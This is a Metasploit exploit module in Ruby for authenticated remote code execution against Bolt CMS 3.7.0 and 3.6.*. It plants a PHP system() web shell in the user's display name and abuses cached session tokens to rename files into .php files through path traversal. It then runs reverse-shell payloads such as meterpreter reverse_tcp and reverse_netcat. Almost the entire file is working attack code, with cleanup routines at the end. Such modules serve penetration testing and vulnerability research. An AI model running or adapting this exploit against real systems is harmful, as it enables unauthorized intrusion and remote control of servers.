403 lines
14 KiB
Ruby
403 lines
14 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
|
|
and 3.6.* in order to execute arbitrary commands as the user running Bolt.
|
|
|
|
This module first takes advantage of a vulnerability that allows an
|
|
authenticated user to change the username in /bolt/profile to a PHP
|
|
`system($_GET[""])` variable. Next, the module obtains a list of tokens
|
|
from `/async/browse/cache/.sessions` and uses these to create files with
|
|
the blacklisted `.php` extention via HTTP POST requests to
|
|
`/async/folder/rename`. For each created file, the module checks the HTTP
|
|
response for evidence that the file can be used to execute arbitrary
|
|
commands via the created PHP $_GET variable. If the response is negative,
|
|
the file is deleted, otherwise the payload is executed via an HTTP
|
|
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`
|
|
|
|
Valid credentials for a Bolt CMS user are required. This module has been
|
|
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Sivanesh Ashok', # Discovery
|
|
'r3m0t3nu11', # PoC
|
|
'Erik Wynter' # @wyntererik - Metasploit
|
|
],
|
|
'References' => [
|
|
['EDB', '48296'],
|
|
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
|
|
],
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
|
|
'Targets' => [
|
|
[
|
|
'Linux (x86)', {
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux (x64)', {
|
|
'Arch' => ARCH_X64,
|
|
'Platform' => 'linux',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux (cmd)', {
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_netcat'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8000,
|
|
'WfsDelay' => 5
|
|
},
|
|
'DefaultTarget' => 2,
|
|
'Notes' => {
|
|
'NOCVE' => ['0day'],
|
|
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
|
|
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
|
|
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
|
|
]
|
|
end
|
|
|
|
def check
|
|
# obtain token and cookie required for login
|
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
unless res.code == 200 && res.body.include?('Sign in to Bolt')
|
|
return CheckCode::Safe('Target is not a Bolt CMS application.')
|
|
end
|
|
|
|
html = res.get_html_document
|
|
token = html.at('input[@id="user_login__token"]')['value']
|
|
cookie = res.get_cookies
|
|
|
|
# perform login
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
|
|
'cookie' => cookie,
|
|
'vars_post' => {
|
|
'user_login[username]' => datastore['USERNAME'],
|
|
'user_login[password]' => datastore['PASSWORD'],
|
|
'user_login[login]' => '',
|
|
'user_login[_token]' => token
|
|
}
|
|
})
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
unless res.code == 302 && res.body.include?('Redirecting to /bolt')
|
|
return CheckCode::Unknown('Failed to authenticate to the server.')
|
|
end
|
|
|
|
@cookie = res.get_cookies
|
|
return unless @cookie
|
|
|
|
# visit profile page to obtain user_profile token and user email
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
unless res.code == 200 && res.body.include?('<title>Profile')
|
|
return CheckCode::Unknown('Failed to authenticate to the server.')
|
|
end
|
|
|
|
html = res.get_html_document
|
|
|
|
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
|
|
unless @email # create fake email if this value is not found
|
|
@email = Rex::Text.rand_text_alpha_lower(5..8)
|
|
@email << "@#{@email}."
|
|
@email << Rex::Text.rand_text_alpha_lower(2..3)
|
|
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
|
|
end
|
|
|
|
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
|
|
|
|
if !@profile_token || @profile_token.to_s.empty?
|
|
return CheckCode::Unknown('Authentication failure.')
|
|
end
|
|
|
|
# change user profile to a php $_GET variable
|
|
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'user_profile[password][first]' => datastore['PASSWORD'],
|
|
'user_profile[password][second]' => datastore['PASSWORD'],
|
|
'user_profile[email]' => @email,
|
|
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
|
|
'user_profile[save]' => '',
|
|
'user_profile[_token]' => @profile_token
|
|
}
|
|
})
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
# visit profile page again to verify the changes
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'")
|
|
return CheckCode::Unknown('Authentication failure.')
|
|
end
|
|
|
|
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
|
|
end
|
|
|
|
def exploit
|
|
csrf
|
|
unless @csrf_token && !@csrf_token.empty?
|
|
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
|
|
end
|
|
vprint_status("Found CSRF token: #{@csrf_token}")
|
|
|
|
file_tokens = obtain_cache_tokens
|
|
unless file_tokens && !file_tokens.empty?
|
|
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
|
|
end
|
|
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
|
|
|
|
token_results = try_tokens(file_tokens)
|
|
unless token_results && !token_results.empty?
|
|
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
|
|
end
|
|
|
|
valid_token = token_results[0]
|
|
@rogue_file = token_results[1]
|
|
|
|
print_good("Used token #{valid_token} to create #{@rogue_file}.")
|
|
if target.arch.first == ARCH_CMD
|
|
execute_command(payload.encoded)
|
|
else
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def csrf
|
|
# visit /bolt/overview/showcases to get csrf token
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
|
|
unless res.code == 200 && res.body.include?('Showcases')
|
|
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
|
|
end
|
|
|
|
html = res.get_html_document
|
|
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
|
|
end
|
|
|
|
def obtain_cache_tokens
|
|
# obtain tokens for creating rogue .php files from cache
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
|
|
unless res.code == 200 && res.body.include?('entry disabled')
|
|
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
|
|
end
|
|
|
|
html = res.get_html_document
|
|
entries = html.search('tr')
|
|
tokens = []
|
|
entries.each do |e|
|
|
token = e.at('span[@class="entry disabled"]').text.strip
|
|
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
|
|
tokens.append(token) if size.to_i >= 2000
|
|
end
|
|
|
|
tokens
|
|
end
|
|
|
|
def try_tokens(file_tokens)
|
|
# create .php files and check if any of them can be used for RCE via the username $_GET variable
|
|
file_tokens.each do |token|
|
|
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
|
|
file_name = Rex::Text.rand_text_alpha_lower(8..12)
|
|
file_name << '.php'
|
|
|
|
# use token to create rogue .php file by 'renaming' a file from cache
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'namespace' => 'root',
|
|
'parent' => '/app/cache/.sessions',
|
|
'oldname' => token,
|
|
'newname' => "#{file_path}/#{file_name}",
|
|
'token' => @csrf_token
|
|
}
|
|
})
|
|
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
|
|
next unless res.code == 200 && res.body.include?(file_name)
|
|
|
|
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'files', file_name),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
fail_with Failure::Unreachable, 'Connection failed' unless res
|
|
|
|
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
|
|
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
|
|
delete_file(file_name)
|
|
next
|
|
end
|
|
|
|
return token, file_name
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
if target.arch.first == ARCH_CMD
|
|
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
|
|
'cookie' => @cookie,
|
|
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
|
|
}, 3.5)
|
|
|
|
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
|
|
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
|
|
print_warning('No response, may have executed a blocking payload!')
|
|
return
|
|
end
|
|
|
|
print_good('Payload executed!')
|
|
end
|
|
|
|
def cleanup
|
|
super
|
|
|
|
# delete rogue .php file used for execution (if present)
|
|
delete_file(@rogue_file) if @rogue_file
|
|
|
|
return unless @profile_token
|
|
|
|
# change user profile back to original
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'user_profile[password][first]' => datastore['PASSWORD'],
|
|
'user_profile[password][second]' => datastore['PASSWORD'],
|
|
'user_profile[email]' => @email,
|
|
'user_profile[displayname]' => datastore['USERNAME'].to_s,
|
|
'user_profile[save]' => '',
|
|
'user_profile[_token]' => @profile_token
|
|
}
|
|
})
|
|
|
|
unless res
|
|
print_warning('Failed to revert user profile back to original state.')
|
|
return
|
|
end
|
|
|
|
# visit profile page again to verify the changes
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
|
|
'cookie' => @cookie
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
|
|
print_warning('Failed to revert user profile back to original state.')
|
|
end
|
|
|
|
print_good('Reverted user profile back to original state.')
|
|
end
|
|
|
|
def delete_file(file_name)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
|
|
'cookie' => @cookie,
|
|
'vars_post' => {
|
|
'namespace' => 'files',
|
|
'filename' => file_name,
|
|
'token' => @csrf_token
|
|
}
|
|
})
|
|
|
|
unless res && res.code == 200 && res.body.include?(file_name)
|
|
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
|
|
end
|
|
|
|
print_good("Deleted file #{file_name}.")
|
|
end
|
|
|
|
end
|